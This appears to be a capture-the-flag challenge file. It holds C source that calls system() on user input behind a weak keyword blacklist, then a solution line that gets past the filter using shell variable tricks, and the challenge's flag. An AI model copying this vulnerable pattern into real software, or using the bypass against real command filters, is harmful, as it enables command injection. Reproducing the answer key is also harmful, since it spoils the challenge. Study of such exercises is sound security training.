cmd2.txt

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
	system( argv[1] );
	return 0;
}



--------------------------------------------------------------------------
| input: | echo "/bin/cat flag" | ./cmd2 "read myvar; command \$myvar"	 |
|--------|---------------------------------------------------------------|
| flag:  | FuN_w1th_5h3ll_v4riabl3s_haha		                 |
--------------------------------------------------------------------------